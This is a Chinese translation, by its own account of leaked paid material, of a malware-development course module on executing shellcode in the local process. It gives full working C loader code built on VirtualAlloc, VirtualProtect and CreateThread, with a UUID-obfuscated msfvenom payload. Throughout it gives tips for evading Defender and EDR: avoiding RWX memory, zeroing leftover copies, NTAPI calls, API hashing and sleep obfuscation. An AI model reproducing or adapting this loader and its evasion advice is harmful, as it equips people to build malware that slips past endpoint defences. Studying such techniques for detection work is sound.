模块 27 - 本地 Payload 执行 - Shellcode
恶意软件开发课程 - 本地 Payload 执行 - Shellcode
模块 27 - 本地 Payload 执行 - Shellcode#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
本地 Payload 执行 - Shellcode#
简介#
本模块将讨论通过创建新线程来执行 shellcode 的最简单方法之一。虽然这种技术很简单,但理解它的工作原理至关重要,因为它为更高级的 shellcode 执行方法奠定了基础。
本模块讨论的方法使用了 VirtualAlloc、VirtualProtect 和 CreateThread Windows API。需要注意的是,这种方法绝非隐蔽技术,EDR 几乎肯定会检测到这种简单的 shellcode 执行技术。另一方面,通过足够的混淆,使用这种方法可能会绕过防病毒软件。
💡 初学者提示:Shellcode vs DLL 有什么区别?
特性 DLL Shellcode 格式 PE 文件 (.dll) 原始字节码 加载方式 LoadLibrary 分配内存+复制+执行 体积 较大 (KB-MB) 较小 (通常几百字节) 依赖 可能依赖其他 DLL 完全独立(position-independent) 灵活性 中等 非常高 隐蔽性 低(文件落地) 高(无文件攻击) 为什么 Shellcode 更流行?
- 可以完全在内存中执行(fileless)
- 更小的体积,更快的传输
- 更灵活的执行方式
- 更难被检测和分析
所需的 Windows API#
一个好的起点是查看将要使用的 Windows API 的文档:
- VirtualAlloc ↗ - 分配将用于存储 Payload 的内存
- VirtualProtect ↗ - 更改已分配内存的内存保护,使其可执行以便执行 Payload
- CreateThread ↗ - 创建运行 Payload 的新线程
📚 知识扩展:Shellcode 执行的三个核心步骤
执行 shellcode 的标准流程:
plaintext1. 📦 分配内存 (VirtualAlloc) └─→ 在进程地址空间中预留一块区域 2. ✍️ 写入 shellcode (memcpy) └─→ 把 shellcode 字节复制到分配的内存 3. 🔓 修改权限 (VirtualProtect) └─→ 从 RW (读写) 改为 RX 或 RWX (可执行) 4. 🚀 执行 (CreateThread 或函数指针) └─→ 跳转到 shellcode 开始执行这个流程是所有 shellcode 执行技术的基础!
混淆 Payload#
本模块中使用的 Payload 将是 Msfvenom 生成的 x64 calc Payload。为了使演示更真实,将尝试逃避 Defender,因此混淆或加密 Payload 是必要的。将使用之前模块中介绍的 HellShell 来混淆 Payload。运行以下命令:
HellShell.exe msfvenom.bin uuidbash输出应保存到 UuidArray 变量中。
💡 初学者提示:为什么需要混淆?
未混淆的 shellcode:
cunsigned char shellcode[] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, ... // 原始字节 };→ 防病毒软件会立即识别这些已知的字节签名 ❌
混淆后的 shellcode:
cchar* UuidArray[] = { "E48348FC-E8F0-00C0-0000-415141505251", // UUID 格式 ... };→ 看起来像普通的 UUID 数据,不会被检测 ✅
分配内存#
VirtualAlloc ↗ 用于分配大小为 sDeobfuscatedSize 的内存。sDeobfuscatedSize 的大小由 UuidDeobfuscation 函数确定,该函数返回去混淆后 Payload 的总大小。
VirtualAlloc WinAPI 函数根据其文档如下所示:
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress, // 要分配的区域的起始地址(设置为 NULL = 让系统选择)
[in] SIZE_T dwSize, // 要分配的区域的大小,以字节为单位
[in] DWORD flAllocationType, // 内存分配的类型
[in] DWORD flProtect // 要分配的页面区域的内存保护
);c内存分配类型指定为 MEM_RESERVE | MEM_COMMIT,这将在调用进程的虚拟地址空间中保留一系列页面,并将物理内存提交给这些保留的页面。组合标志分别讨论如下:
MEM_RESERVE- 用于保留一系列页面而不实际提交物理内存MEM_COMMIT- 用于在进程的虚拟地址空间中提交一系列页面
VirtualAlloc 的最后一个参数设置内存区域的权限。最简单的方法是将内存保护设置为 PAGE_EXECUTE_READWRITE,但这通常是许多安全解决方案检测恶意活动的指标。因此,内存保护设置为 PAGE_READWRITE,因为此时只需要写入 Payload 而不需要执行它。最后,VirtualAlloc 将返回分配内存的基地址。
📚 知识扩展:内存保护标志详解
Windows 提供多种内存保护选项:
标志 权限 安全性 检测难度 PAGE_NOACCESS--- 最安全 正常 PAGE_READONLYR— 安全 正常 PAGE_READWRITERW- 一般 正常 ✅ PAGE_EXECUTE—X 危险 可疑 PAGE_EXECUTE_READR-X 危险 较可疑 PAGE_EXECUTE_READWRITERWX 非常危险 高度可疑 ⚠️ 最佳实践(规避检测):
- 分配时使用
PAGE_READWRITE(不可疑)- 写入 shellcode
- 执行前改为
PAGE_EXECUTE_READ(仍然可疑但比 RWX 好)为什么 RWX 可疑?
- 正常程序代码: 只需要 RX(代码不应该自我修改)
- 正常程序数据: 只需要 RW(数据不应该执行)
- 同时 RWX: 表示代码可能自我修改 = 恶意软件特征!
💡 初学者提示:MEM_RESERVE vs MEM_COMMIT
分配内存有两个步骤:
MEM_RESERVE (预订):
- 就像在餐厅预订座位
- 保留了虚拟地址空间,但没有实际物理内存
- 其他人不能使用这个地址范围
MEM_COMMIT (提交):
- 就像真的坐到座位上
- 分配实际的物理RAM
- 可以开始使用这块内存
为什么组合使用?
cMEM_RESERVE | MEM_COMMIT一次性完成预订和提交,简单高效!
将 Payload 写入内存#
接下来,去混淆的 Payload 字节被复制到 pShellcodeAddress 的新分配内存区域中,然后通过用 0 覆盖来清理 pDeobfuscatedPayload。pDeobfuscatedPayload 是由 UuidDeobfuscation 函数分配的堆的基地址,该函数返回原始 shellcode 字节。它已被零覆盖,因为不再需要它,这将减少安全解决方案在未使用的内存中找到 Payload 的可能性。
💡 初学者提示:为什么要清零旧内存?
c// 步骤 1: 去混淆得到原始 shellcode pDeobfuscatedPayload = [FC 48 83 E4 ...] ← 危险!原始字节暴露 // 步骤 2: 复制到执行内存 memcpy(pShellcodeAddress, pDeobfuscatedPayload, size); 现在两处都有 shellcode 副本! // 步骤 3: 清零原始位置 memset(pDeobfuscatedPayload, 0, size); pDeobfuscatedPayload = [00 00 00 00 ...] ← 安全!好处:
- 减少内存中的 shellcode 副本
- 降低被内存扫描检测的风险
- 实践良好的运维安全(OpSec)
修改内存保护#
在 Payload 可以执行之前,必须更改内存保护,因为目前只允许读/写。VirtualProtect 用于修改内存保护,要执行 Payload,它需要 PAGE_EXECUTE_READ 或 PAGE_EXECUTE_READWRITE。
VirtualProtect WinAPI 函数根据其文档如下所示:
BOOL VirtualProtect(
[in] LPVOID lpAddress, // 要更改其访问保护的内存区域的基地址
[in] SIZE_T dwSize, // 要更改其访问保护属性的区域的大小,以字节为单位
[in] DWORD flNewProtect, // 新的内存保护选项
[out] PDWORD lpflOldProtect // 指向接收 lpAddress 先前访问保护值的 DWORD 变量的指针
);c尽管某些 shellcode 确实需要 PAGE_EXECUTE_READWRITE,例如自解密 shellcode,但 Msfvenom x64 calc shellcode 不需要它,但下面的代码片段使用了该内存保护。
📚 知识扩展:什么样的 shellcode 需要 RWX?
需要 RWX 的 shellcode:
自解密 shellcode:
plaintext加密的 shellcode → 解密存根读取并解密 → 写入解密后的代码 → 执行 需要同时读、写、执行权限多阶段 shellcode:
plaintextStage 1 → 下载 Stage 2 → 写入内存 → 执行 Stage 2动态代码生成:
plaintextShellcode 自己生成新代码 → 写入自己的内存区域 → 执行大多数 shellcode 只需 RX:
- Msfvenom 生成的标准 shellcode
- Cobalt Strike beacon
- 简单的反向 shell
最佳实践:
- 如果不确定,先用 RX 尝试
- 如果崩溃,再改为 RWX
- 分析 shellcode 代码是否有自修改行为
通过 CreateThread 执行 Payload#
最后,通过使用 CreateThread Windows API 函数创建一个新线程并传递 shellcode 地址 pShellcodeAddress 来执行 Payload。
CreateThread WinAPI 函数根据其文档如下所示:
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, // 设置为 NULL - 可选
[in] SIZE_T dwStackSize, // 设置为 0 - 默认栈大小
[in] LPTHREAD_START_ROUTINE lpStartAddress, // 指向要由线程执行的函数的指针,在我们的例子中是 Payload 的基地址
[in, optional] __drv_aliasesMem LPVOID lpParameter, // 指向要传递给执行函数的变量的指针(设置为 NULL - 可选)
[in] DWORD dwCreationFlags, // 设置为 0 - 默认创建标志
[out, optional] LPDWORD lpThreadId // 指向接收线程 ID 的 DWORD 变量的指针(设置为 NULL - 可选)
);c💡 初学者提示:CreateThread 参数简化理解
cHANDLE hThread = CreateThread( NULL, // ① 安全属性 → NULL = 默认安全性 0, // ② 栈大小 → 0 = 使用默认值(通常 1MB) pShellcodeAddress, // ③ 线程函数 → 🎯 这是我们的 shellcode! NULL, // ④ 参数 → NULL = 不传递参数 0, // ⑤ 创建标志 → 0 = 立即运行 NULL // ⑥ 线程 ID → NULL = 不关心线程 ID );关键点: 第三个参数(
lpStartAddress)
- 通常: 指向一个函数,如
&MyFunction- 现在: 指向 shellcode 内存 = 把 shellcode 当作函数执行!
通过函数指针执行 Payload#
或者,有一种更简单的方法可以在不使用 CreateThread Windows API 的情况下运行 shellcode。在下面的示例中,shellcode 被转换为 VOID 函数指针,并将 shellcode 作为函数指针执行。代码本质上跳转到 pShellcodeAddress 地址。
(*(VOID(*)()) pShellcodeAddress)();c这等效于运行以下代码:
typedef VOID (WINAPI* fnShellcodefunc)(); // 在 main 函数之前定义
fnShellcodefunc pShell = (fnShellcodefunc) pShellcodeAddress;
pShell();c💡 初学者提示:函数指针语法详解
这行代码看起来很复杂,让我们拆解它:
c(*(VOID(*)()) pShellcodeAddress)();分步理解:
cVOID(*)() // ① 函数指针类型: 返回 void,无参数 (VOID(*)()) // ② 类型转换 (VOID(*)()) pShellcodeAddress // ③ 把地址转换为函数指针 *(VOID(*)()) pShellcodeAddress // ④ 解引用得到函数 (*(VOID(*)()) pShellcodeAddress)() // ⑤ 调用函数更易读的写法:
c// 方式 1: 使用 typedef typedef void (*ShellcodeFunc)(); ShellcodeFunc func = (ShellcodeFunc)pShellcodeAddress; func(); // 方式 2: 两步走 void (*func)() = (void(*)())pShellcodeAddress; func();
CreateThread vs 函数指针执行#
尽管可以使用函数指针方法执行 shellcode,但通常不建议这样做。Msfvenom 生成的 shellcode 在执行完毕后会终止调用线程。如果使用函数指针方法执行 shellcode,那么调用线程将是主线程,因此在 shellcode 执行完毕后整个进程将退出。
在新线程中执行 shellcode 可以防止这个问题,因为如果 shellcode 执行完毕,新的工作线程将被终止而不是主线程,从而防止整个进程终止。
📚 知识扩展:为什么 Msfvenom shellcode 会终止线程?
Msfvenom 生成的 shellcode 在执行完任务后会调用:
plaintext; ExitThread API 调用 xor ecx, ecx ; 参数: 退出代码 0 call ExitThread ; 终止当前线程两种执行方式的区别:
plaintext方式 1: 函数指针(主线程执行) ├─ Main Thread ├─ shellcode 执行 ├─ ExitThread() called └─ ❌ 主线程退出 = 整个进程退出! 方式 2: CreateThread(工作线程执行) ├─ Main Thread(继续运行) └─ Worker Thread ├─ shellcode 执行 ├─ ExitThread() called └─ ✅ 工作线程退出,主线程继续!
🎯 实战对比
| 特性 | CreateThread | 函数指针 |
|---|---|---|
| 代码复杂度 | 中等 | 简单 |
| 进程稳定性 | ✅ 稳定 | ❌ 可能崩溃 |
| 主线程状态 | 继续运行 | 可能退出 |
| 适用场景 | 生产环境 | 快速测试 |
| 推荐程度 | ⭐⭐⭐⭐⭐ | ⭐⭐ |
等待线程执行#
使用新线程执行 shellcode 而不加短暂延迟会增加主线程在运行 shellcode 的工作线程完成执行之前就完成执行的可能性,导致 shellcode 无法正确运行。下面的代码片段说明了这种情况:
int main(){
// ...
CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL); // Shellcode 执行
return 0; // 主线程在运行 shellcode 的线程之前完成执行
}c在提供的实现中,使用 getchar() 暂停执行,直到用户提供输入。在实际实现中,应该使用不同的方法,该方法使用 WaitForSingleObject ↗ WinAPI 等待指定时间直到线程执行。
下面的代码片段使用 WaitForSingleObject 等待新创建的线程执行 2000 毫秒后再执行其余代码:
HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, 2000);
// 其余代码
c在下面的示例中,WaitForSingleObject 将永远等待新线程执行完毕:
HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINITE);
c💡 初学者提示:WaitForSingleObject 详解
cDWORD WaitForSingleObject( HANDLE hHandle, // 要等待的对象句柄(这里是线程句柄) DWORD dwMilliseconds // 等待时间(毫秒) );常用等待时间:
0: 立即检查,不等待2000: 等待 2 秒INFINITE: 无限等待直到线程结束返回值:
WAIT_OBJECT_0 (0): 成功,线程执行完毕WAIT_TIMEOUT (0x102): 超时,线程仍在运行WAIT_FAILED: 失败实战选择:
c// ① 快速 shellcode (如 calc.exe) WaitForSingleObject(hThread, 5000); // 5 秒足够 // ② 长期运行 (如反向 shell) WaitForSingleObject(hThread, INFINITE); // 永远等待 // ③ 分离运行 // 不调用 WaitForSingleObject,让线程在后台运行
主函数#
主函数使用 UuidDeobfuscation 去混淆 Payload,然后分配内存,将 shellcode 复制到内存区域并执行它。
int main() {
PBYTE pDeobfuscatedPayload = NULL;
SIZE_T sDeobfuscatedSize = NULL;
printf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());
printf("[#] Press <Enter> To Decrypt ... ");
getchar();
// 步骤 1: 去混淆 shellcode
printf("[i] Decrypting ...");
if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
return -1;
}
printf("[+] DONE !\n");
printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);
// 步骤 2: 分配可读写内存
printf("[#] Press <Enter> To Allocate ... ");
getchar();
PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
// 步骤 3: 写入 shellcode 到分配的内存
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
// 清零原始位置,减少内存中的 shellcode 副本
memset(pDeobfuscatedPayload, '\0', sDeobfuscatedSize);
DWORD dwOldProtection = NULL;
// 步骤 4: 修改内存保护为可执行
if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return -1;
}
// 步骤 5: 创建新线程执行 shellcode
printf("[#] Press <Enter> To Run ... ");
getchar();
if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return -1;
}
// 清理: 释放去混淆时分配的堆内存
HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}c💡 初学者提示:完整执行流程图
plaintext┌─────────────────────────────────────┐ │ 1. UUID 数组 (混淆的 shellcode) │ └──────────────┬──────────────────────┘ ▼ ┌─────────────────────────────────────┐ │ 2. UuidDeobfuscation() │ │ └─→ pDeobfuscatedPayload │ │ [FC 48 83 E4 ...] │ └──────────────┬──────────────────────┘ ▼ ┌─────────────────────────────────────┐ │ 3. VirtualAlloc(PAGE_READWRITE) │ │ └─→ pShellcodeAddress │ │ [00 00 00 00 ...] (RW-) │ └──────────────┬──────────────────────┘ ▼ ┌─────────────────────────────────────┐ │ 4. memcpy() + memset() │ │ pShellcodeAddress ← shellcode │ │ [FC 48 83 E4 ...] (RW-) │ │ pDeobfuscatedPayload ← zeros │ │ [00 00 00 00 ...] ✅ │ └──────────────┬──────────────────────┘ ▼ ┌─────────────────────────────────────┐ │ 5. VirtualProtect(PAGE_EXECUTE_RW) │ │ pShellcodeAddress │ │ [FC 48 83 E4 ...] (RWX) ⚠️ │ └──────────────┬──────────────────────┘ ▼ ┌─────────────────────────────────────┐ │ 6. CreateThread(pShellcodeAddress) │ │ └─→ 新线程执行 shellcode │ │ └─→ 🎉 calc.exe 弹出! │ └─────────────────────────────────────┘
释放内存#
VirtualFree ↗ 是用于释放先前分配的内存的 WinAPI。此函数应仅在 Payload 完全执行完毕后调用,否则可能会释放 Payload 的内容并导致进程崩溃。
BOOL VirtualFree(
[in] LPVOID lpAddress, // 要释放的内存基地址
[in] SIZE_T dwSize, // 要释放的内存大小
[in] DWORD dwFreeType // 释放操作的类型
);cVirtualFree 接收要释放的已分配内存的基地址(lpAddress)、要释放的内存大小(dwSize)以及释放操作的类型(dwFreeType),它可以是以下标志之一:
MEM_DECOMMIT-VirtualFree调用将释放物理内存,而不释放与之链接的虚拟地址空间。因此,虚拟地址空间仍然可以用于将来分配内存,但与之链接的页面不再由物理内存支持。MEM_RELEASE- 释放虚拟地址空间和与虚拟内存分配相关的物理内存。请注意,根据 Microsoft 的文档,使用此标志时,dwSize参数必须为 0。
📚 知识扩展:MEM_DECOMMIT vs MEM_RELEASE
操作 MEM_DECOMMIT MEM_RELEASE 释放物理内存 ✅ 是 ✅ 是 释放虚拟地址 ❌ 否 ✅ 是 dwSize 实际大小 必须为 0 后续可重用 ✅ 可以 ❌ 不可以 类比理解:
- MEM_DECOMMIT: 餐厅座位空了,但预订还在
- MEM_RELEASE: 取消预订并清空座位
实战选择:
c// 常用方式: 完全释放 VirtualFree(pShellcodeAddress, 0, MEM_RELEASE); // 保留地址空间: 稍后可能重用 VirtualFree(pShellcodeAddress, size, MEM_DECOMMIT);
调试#
在本节中,使用 x64dbg 调试器调试实现,以进一步了解底层发生的情况。
首先,验证 UuidDeobfuscation 函数的输出以确保返回有效的 shellcode。下图显示 shellcode 已成功去混淆。

下一步是检查是否使用 VirtualAlloc Windows API 分配内存。同样,查看左下角的内存映射显示内存已分配并填充了零。

成功分配内存后,将去混淆的 Payload 写入内存缓冲区。

回想一下,pDeobfuscatedPayload 已被清零,以避免在未使用的位置保留去混淆的 Payload。缓冲区应该被完全清零。

最后,执行 shellcode,如预期的那样,计算器应用程序出现。

可以在 Process Hacker 的内存选项卡中看到 shellcode。请注意,我们分配的内存区域具有 RWX 内存保护,这很突出,因此通常是恶意指标。

📚 知识扩展:使用 x64dbg 分析 Shellcode 执行
x64dbg 是强大的逆向工具,可以观察:
- 内存分配过程:
- Memory Map 窗口查看所有分配的内存
- 查找 Type = “Private”, Protection = “RWX”
- Shellcode 写入:
- Dump 窗口查看内存内容
- 对比写入前后的字节变化
- 执行流程:
- 在 CreateThread 调用处设置断点
- 观察线程创建
- 跟踪到 shellcode 入口点
- 检测点:
- RWX 权限的内存块(可疑)
- 非映像内存中的可执行代码(可疑)
- 异常的线程起始地址(可疑)
💡 实战技巧:降低RWX检测
问题: RWX 权限是明显的IOC(危害指标)
解决方案:
c// 方案 1: 延迟改权限(推荐) VirtualAlloc(..., PAGE_READWRITE); // ① 分配 RW memcpy(...); // ② 写入 VirtualProtect(..., PAGE_EXECUTE_READ); // ③ 改为 RX CreateThread(...); // ④ 执行 // 方案 2: 使用替代 API // 使用 NtAllocateVirtualMemory (NTAPI) // 一些 EDR 对 NTAPI 的监控较弱 // 方案 3: 睡眠混淆 (Sleep Obfuscation) // 执行前: VirtualProtect → RW (隐藏) // 执行时: VirtualProtect → RX (执行) // 执行后: VirtualProtect → RW (再次隐藏)
🎯 总结#
在本模块中,我们学习了:
- Shellcode 执行基础: VirtualAlloc → memcpy → VirtualProtect → CreateThread
- 内存管理: 分配、保护、释放内存的完整流程
- 安全考虑: RWX 权限的风险和缓解措施
- 执行方式对比: CreateThread vs 函数指针
- 调试分析: 使用 x64dbg 和 Process Hacker 分析执行过程
💡 关键要点
- 这是最简单但也最基础的 shellcode 执行方法
- RWX 权限是主要的检测点
- 使用新线程比函数指针更安全
- 必须等待线程执行完毕
- 清理未使用的内存副本
🎯 检测与规避对比
| 技术点 | 容易被检测 | 规避方法 |
|---|---|---|
| RWX 权限 | ⭐⭐⭐⭐⭐ | 分步改权限(RW→RX),睡眠混淆 |
| VirtualAlloc | ⭐⭐⭐ | 使用 NTAPI 替代 |
| CreateThread | ⭐⭐⭐ | 使用其他执行方法(后续模块) |
| 内存扫描 | ⭐⭐⭐⭐ | 加密/混淆,及时清零 |
📚 实战改进建议
当前代码的问题:
- ❌ 直接使用
PAGE_EXECUTE_READWRITE - ❌ 使用常见的 WinAPI (
VirtualAlloc,CreateThread) - ❌ 没有混淆 API 调用
- ❌ 内存中有明显的 shellcode 特征
改进方向:
- ✅ 使用 RW → RX 权限转换
- ✅ 使用 NTAPI 或间接调用
- ✅ 添加 API hashing
- ✅ 实现内存加密(执行时解密)
📚 下一步学习
本模块介绍了本地 shellcode 执行的基础。接下来你将学习:
- Module 28: DLL 远程注入(把 DLL 注入其他进程)
- Module 29: Shellcode 远程注入(把 shellcode 注入其他进程)
- 后续模块: 更高级的执行技术(APC注入、线程劫持等)
远程注入将在另一个进程的上下文中执行代码,提供更好的隐蔽性!🚀